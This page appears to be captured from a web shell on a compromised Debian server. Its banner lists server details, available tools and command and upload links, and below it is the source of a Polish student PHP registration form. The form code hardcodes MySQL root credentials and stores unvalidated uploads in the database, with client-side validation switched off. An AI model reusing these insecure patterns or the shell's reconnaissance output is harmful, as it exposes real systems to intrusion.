|
Server IP : 10.2.73.233 / Your IP : 216.73.216.59 Web Server : Apache/2.4.59 (Debian) System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : www-data ( 33) PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ilpnowa/../slownik/web/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<?php
//require_once 'test2database.php';
function __autoload($class_name)
{
require_once $class_name.'.php';
}
//phpinfo();
//$db = new test2database('localhost','root','mysql','pawel');
$katalog = 'pliki/';
if($_POST['wyslij']=='wyslij'){
//$nazwapliku = $katalog . basename($_FILES['zdjecie']['name']);
$upload= (empty($_FILES['zdjecie'])) ? 0 : $_FILES['zdjecie'];
$fileName = $upload['tmp_name'];
$image_type = $upload['type'];
$size=filesize($fileName);
$open = fopen($fileName,"r");
$data_read = fread($open, $size);
fclose($open);
$data=mysql_escape_string($data_read);
$image_type=mysql_escape_string($image_type);
$sql = "INSERT INTO pliki(zdjecie,typ) VALUES(\"".$data."\",'$image_type')";
$db = mysql_connect('localhost','root','mysql');
mysql_select_db('pawel',$db);
mysql_query($sql) or die($sql." --- ".mysql_error());
//pokazanie obrazka
//koniec pokazanie obrazka
//zapis pliku
//if (move_uploaded_file($_FILES['zdjecie']['tmp_name'], $nazwapliku)) {
// echo "Plik został zapisany.\n";
//} else {
// echo "Błąd podczas zapisu.\n";
//}
//koniec zapis pliku
$f = new test2formularz();
$f->id="";
$f->imie=$_POST['imie'];
$f->nazwisko=$_POST['nazwisko'];
$f->email=$_POST['email'];
$f->adres=$_POST['adres'];
$f->miasto=$_POST['miasto'];
$f->kod=$_POST['kod'];
$f->wojewodztwo=$_POST['wojewodztwo'];
$f->kraj=$_POST['kraj'];
$f->stacjonarny=$_POST['stacjonarny'];
$f->komorkowy=$_POST['komorkowy'];
$f->plec=$_POST['plec'];
$f->sport=$_POST['sport'];
$f->muzyka=$_POST['muzyka'];
$f->film=$_POST['film'];
$f->pytanie=$_POST['pytanie'];
$f->wyksztalcenie=$_POST['wyksztalcenie'];
$f->uwagi=$_POST['uwagi'];
$f->save();
//mysql_query($sql) or die($sql." --- ".mysql_error());
echo "Dziękujemy za wypełnienie formularza.";
die();
}
?>
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-type" CONTENT="text/html; charset=utf-8">
<TITLE> FORMULARZ WWW</TITLE>
<link href="style.css" rel="Stylesheet" type="text/css">
<script type="text/javascript">
function validate() {
document.getElementById('valbox').innerHTML = '';
var ret = true;
//imie jest wymagane
if (form1.imie.value == '') { document.getElementById('valbox').innerHTML+='Imie jest wymagane.<br>'; ret=false; }
//dlugosc imienia
if (form1.imie.value.length > 30) { document.getElementById('valbox').innerHTML += 'Imie jest zbyt długie.<br>'; ret = false; }
//liczba imion
if (form1.imie.value.split(' ').length > 2) { document.getElementById('valbox').innerHTML += 'Mogą być max. dwa imiona.<br>'; ret = false; };
//imiona z duzych liter
var tab = form1.imie.value.split(' ');
var i=0;
for (i = 0; i < tab.length; i++) {
if (tab[i].charCodeAt(0) >= 97) { document.getElementById('valbox').innerHTML += 'Imiona muszą być z dużych liter.<br>'; ret = false; }
}
//nazwisko jest wymagane
if (form1.nazwisko.value == '') { document.getElementById('valbox').innerHTML += 'Nazwisko jest wymagane.<br>'; ret = false; }
//dlugosc nazwiska
if (form1.nazwisko.value.length > 30) { document.getElementById('valbox').innerHTML += 'Nazwisko jest zbyt długie.<br>'; ret = false; }
//nazwiska z duzych liter
var tab = form1.nazwisko.value.split(' ');
var i = 0;
for (i = 0; i < tab.length; i++) {
if (tab[i].charCodeAt(0) >= 97) { document.getElementById('valbox').innerHTML += 'Nazwiska muszą być z dużych liter.<br>'; ret = false; }
}
//email jest wymagany
if (form1.email.value == '') { document.getElementById('valbox').innerHTML += 'Adres email jest wymagany.<br>'; ret = false; }
//co najmniej dwa znaki przed małpą
var tab=form1.email.value.split('@');
if (tab[0].length < 2) { document.getElementById('valbox').innerHTML += 'W adresie email przed znakiem @ muszą być conajmniej dwa znaki.<br>'; ret = false; }
//email musi zawierać małpę
var jestmalpa=false;
for (i = 0; i < form1.email.value.length; i++) if (form1.email.value.charAt(i) == '@') jestmalpa = true;
if(jestmalpa==false) {document.getElementById('valbox').innerHTML += 'Adres email musi zawierać znak @.<br>'; ret = false;}
//email musi zawierać małpę
var jestkropka = false;
for (i = 0; i < form1.email.value.length; i++) if (form1.email.value.charAt(i) == '.') jestkropka = true;
if (jestkropka == false) { document.getElementById('valbox').innerHTML += 'Adres email musi zawierać kropkę.<br>'; ret = false; }
//domena najw stopnia >=2 znaki
var tab2 = form1.email.value.split('.');
if (tab2[tab2.length-1].length < 2) { document.getElementById('valbox').innerHTML += 'Domena najwyższego poziomu musi posiadać co najmniej 2 znaki.<br>'; ret = false; }
//dlugosc adresu max 100 znakow
if (form1.adres.value.length > 100) { document.getElementById('valbox').innerHTML += 'Adres jest zbyt długi.<br>'; ret = false; }
//miasto z duzych liter
var tab = form1.miasto.value.split(' ');
var i = 0;
for (i = 0; i < tab.length; i++) {
if (tab[i].charCodeAt(0) >= 97) { document.getElementById('valbox').innerHTML += 'Miasto musi być z dużych liter.<br>'; ret = false; }
}
//miasto jedno słowo
if (form1.miasto.value.split(' ').length > 1) { document.getElementById('valbox').innerHTML += 'Miasto musi składać sie z jednego słowa.<br>'; ret = false; };
//telefon kom
var phone = /^\+[0-9]{2}\-[0-9]{9}$/;
var tele2 = form1.komorkowy.value;
if (tele2.match(phone)) {
} else {
{
document.getElementById('valbox').innerHTML += 'Nieprawidłowy format numeru komorkowego.<br>'; ret = false; };
}
//telefon
var phone2 = /^\+[0-9]{2}\-[0-9]{2}\-[0-9]{7}$/;
var tele = form1.stacjonarny.value;
if (tele.match(phone2)) {
} else {
{
document.getElementById('valbox').innerHTML += 'Nieprawidłowy format numeru telefonicznego.<br>'; ret = false; };
}
//kod pocztowy
var kodpoczt =/^[0-9]{2}\-[0-9]{3}$/;
var kod = form1.kod.value;
if (kod.match(kodpoczt)) {
}
else {
document.getElementById('valbox').innerHTML += 'Nieprawidłowy format kodu pocztowego.<br>'; ret = false;
}
//zainteresowania - co najmniej jedno
if (form1.sport.checked == false && form1.muzyka.checked == false && form1.film.checked == false)
{
document.getElementById('valbox').innerHTML += 'Należy zaznaczyć co najmniej jedno z zainteresowań.<br>'; ret = false;
}
//zdjecie jest wymagane
if (form1.zdjecie.value == '') {
document.getElementById('valbox').innerHTML += 'Zdjęcie jest obowiązkowe.<br>'; ret = false;
}
//format zdjęcia
var jestjpg = false;
var jestgif = false;
var tab = form1.zdjecie.value.split('.');
var i = 0;
for (i = 0; i < tab.length; i++) {
if (tab[i] == 'jpg') jestjpg = true;
if (tab[i] == 'gif') jestgif = true;
}
if (jestjpg == true || jestgif == true) {
}
else {
document.getElementById('valbox').innerHTML += 'Zdjęcie musi być w formacie gif lub jpg.<br>'; ret = false;
}
//inne informacje - max 100 znakow
if (form1.uwagi.value.length > 100) {
document.getElementById('valbox').innerHTML += 'Uwagi są zbyt długie.<br>'; ret = false;
}
if (ret == true) return true; else return false;
}
</script>
</HEAD>
<body class="form">
<div><I>FORMULARZ</I></div>
<FORM enctype="multipart/form-data" action="test2.php" onsubmit="//return validate();" method="post" name="form1">
<h1><INPUT TYPE=HIDDEN NAME="TEMAT" VALUE="Ankieta" ></h1>
<TABLE class=form>
<TR>
<TD>
imię:
</TD>
<TD>
<INPUT TYPE="TEXT" name="imie" id="imie" onblur="powiekszlitere('imie')" />
</TD>
</TR>
<TR>
<TD>
nazwisko:
</TD>
<TD>
<INPUT TYPE="TEXT" NAME= "nazwisko" maxlength="30" />
</TD>
</TR>
<tr>
<td>E-Mail:</td>
<td>
<input name="email" id="email"/>
</td>
</tr>
<tr>
<td>Adres:</td>
<td>
<textarea name="adres" id="adres" cols="16" rows="3"></textarea>
</td>
</tr>
<tr>
<td>Miasto:</td>
<td>
<input name="miasto" id="miasto" maxlength="30"/>
</td>
</tr>
<tr>
<td>Kod pocztowy:</td>
<td>
<input name="kod" size="7"/>
</td>
</tr>
<tr>
<td>Województwo:</td>
<td>
<select name="wojewodztwo">
<option value="1">Dolnośląskie</option>
<option value="2">Kujawsko-Pomorskie</option>
<option value="3">Lubelskie</option>
<option value="4">Lubuskie</option>
<option value="5">Łódzkie</option>
<option value="6">Małopolskie</option>
<option value="7">Mazowieckie</option>
<option value="8">Opolskie</option>
<option value="9">Podkarpackie</option>
<option value="10">Podlaskie</option>
<option value="11">Pomorskie</option>
<option value="12">Śląskie</option>
<option value="13">Świętokrzyskie</option>
<option value="14">Warmińsko-Mazurskie</option>
<option value="15">Wielkopolskie</option>
<option value="16">Zachodniopomorskie</option>
</select>
</td>
</tr>
<tr>
<td>Kraj:</td>
<td>
<select name="Kraj">
<option value="Polska">Polska</option>
<option value="Niemcy">Niemcy</option>
<option value="USA">USA</option>
<option value="Francja">Francja</option>
<option value="Anglia">Anglia</option>
</select>
</td>
</tr>
<tr>
<td>Telefon stacjonarny:</td>
<td>
<input name="stacjonarny"/>
</td>
</tr>
<tr>
<td>Telefon komórkowy:</td>
<td>
<input name="komorkowy"/>
</td>
</tr>
<TR>
<TD>
Płeć:
</TD>
<TD>
Kobieta<INPUT TYPE="RADIO" NAME="plec" VALUE="kobieta" checked>
Mezczyzna <INPUT TYPE="RADIO" NAME="plec" VALUE="mezczyzna">
</TD>
</TR>
<TR>
<TD class=gora>
<H4>Twoje zainteresowania:</H4>
<INPUT TYPE="CHECKBOX" NAME="sport">Sport<br>
<INPUT TYPE="CHECKBOX" NAME="muzyka">Muzyka<br>
<INPUT TYPE="CHECKBOX" NAME="film">Film
</TD>
<TD class=gora>
<H4>Wybierz pytanie </H4>
<SELECT name="pytanie">
<OPTION value=""> Wybierz pytanie
<OPTION value="imię kota?">imię kota?
<OPTION value="imię psa"> imię psa?
<OPTION value="twoje ulubione auto?"> twoje ulubione auto?
<OPTION value="co widzisz za oknem"> co widzisz za oknem?
</SELECT>
</TD>
</TR>
<TR>
<TD class=gora>
<p>Wykształcenie</p>
<select name="wyksztalcenie" size="5">
<option selected="selected">podstawowe</option>
<option>srednie</option>
<option>niepelne wyzsze</option>
<option>wyższe</option>
</select>
</td>
<td class=gora>
</td>
<TR>
<TD COLSPAN=2 class=gora>
Przeslij swoje uwagi<br>
<TEXTAREA NAME= "uwagi" ROWS=5 COLS=50>
</TEXTAREA>
</TD>
</TR>
<TR>
<TD>
Przeslij zdjecie
</TD>
<TD>
<INPUT TYPE="FILE" name="zdjecie" VALUE="Przeslij plik" / >
</TD>
</TR>
<tr>
<TD COLSPAN=2 ALIGN="CENTER">
<input type="button" value="Walidacja" onclick="validate();"/>
<INPUT TYPE="SUBMIT" VALUE="wyslij" name="wyslij">
<input type="RESET" VALUE="anuluj">
</TD>
</TR>
<tr><td colspan=2 id="valbox" style="color:Red;"></td></tr>
</TABLE>
</FORM>
<p>
<a href="http://validator.w3.org/check?uri=referer"><img
src="http://www.w3.org/Icons/valid-html401"
alt="Valid HTML 4.01 Strict" height="31" width="88"></a>
</p>
<p> <a href="http://jigsaw.w3.org/css-validator/check/referer"> <img style="border:0;width:88px;height:31px" src="http://jigsaw.w3.org/css-validator/images/vcss" alt="Poprawny CSS!" /> </a> </p>
</BODY>
</HTML>